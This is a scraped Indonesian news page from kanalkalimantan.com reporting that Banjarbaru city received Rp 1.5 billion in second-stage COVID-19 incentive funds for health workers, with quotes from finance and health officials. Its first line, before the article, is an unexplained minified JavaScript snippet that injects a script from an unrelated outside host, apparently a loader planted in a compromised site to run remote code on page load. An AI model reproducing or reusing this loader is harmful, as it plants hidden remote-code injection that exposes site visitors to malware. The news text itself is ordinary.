(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru telah menerima dana insentif tahap II yang diperuntukan kepada tenaga kesehatan (nakes) dalam upaya penanganan Covid-19. Alokasi dana yang diterima dari pemerintah pusat itu sebesar Rp 1,5 miliar.
“Kita sudah menerima dana insentif tahap kedua sebesar Rp 1,5 miliar dari pemerintah pusat. Secara keseluruhan sudah kita masukan ke kas daerah,” kata Kepala Badan Pengelolaan Keuangan dan Aset (BPKAD) Banjarbaru Jainudin, Selasa (13/10/2020).
Kendati demikian, Jai -sapaan akrabnya- mengungkapkan, untuk realisasi pencairan dana insentif tahap II ini masih menunggu pengajuan dari pihak Dinas Kesehatan (Dinkes) Banjarbaru. “Kami siap mencairkan sepanjang pengajuan dari Dinkes sudah diverifikasi,” tambahnya.
Terkait hal ini, Kepala Dinkes Banjarbaru Rizana Mirza saat dihubungi mengaku, masih melakukan pendataan jumlah nakes di Rumah Sakit Daerah (RSD) Idaman dan seluruh Puskesmas. Dijelaskannya, pencairan dana insentif tahap II akan menyesuaikan dengan jumlah nakes sebagai penerima.
“Saat ini kita masih menunggu daftar nama-nama penerima dana insentif dari pihak rumah sakit dan Puskemas. Semoga saja bisa cepat diselesaikan untuk selanjutnya kita verifikasi,” katanya.
Sebagaimana diketahui, pemerintah pusat telah mengalokasikan dana insentif kepada seluruh nakes di Kota Banjarbaru dengan total mencapai Rp 3,5 miliar. Anggaran tersebut dicairkan dalam dua tahap.
Pada September lalu, Pemko Banjarbaru telah menerima pencairan dana insentif tahap I sebesar Rp 2 miliar dan didistribusikan kepada 276 nakes. Jumlah penerima itu terbagi dari 66 nakes di RSD Idaman dan 210 nakes di Puskesmas se Kota Banjarbaru.
Selain dana insentif dari pemerintah pusat, Pemko Banjarbaru juga telah menyiapkan dana insentif bersumber dari APBD. Hal ini bertujuan untuk mengakomodir para tenaga kesehatan yang belum menerima kucuran dana insentif sebelumnya.
“Untuk nakes yang tidak mendapatkan dana insentif dari pemerintah pusat, akan difasilitasi dengan dana APBD miliki kita. APBD ini bentuknya BTT (Belanja Tidak Terduga). Untuk nominalnya kita belum ada kesepakatan. Tapi, kita perkirakan sekitar Rp 2,5 miliar,” pungkas Kepala BPKAD Banjarbaru. (kanalkalimantan.com/rico)
Reporter: Rico
Editor : Bie
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.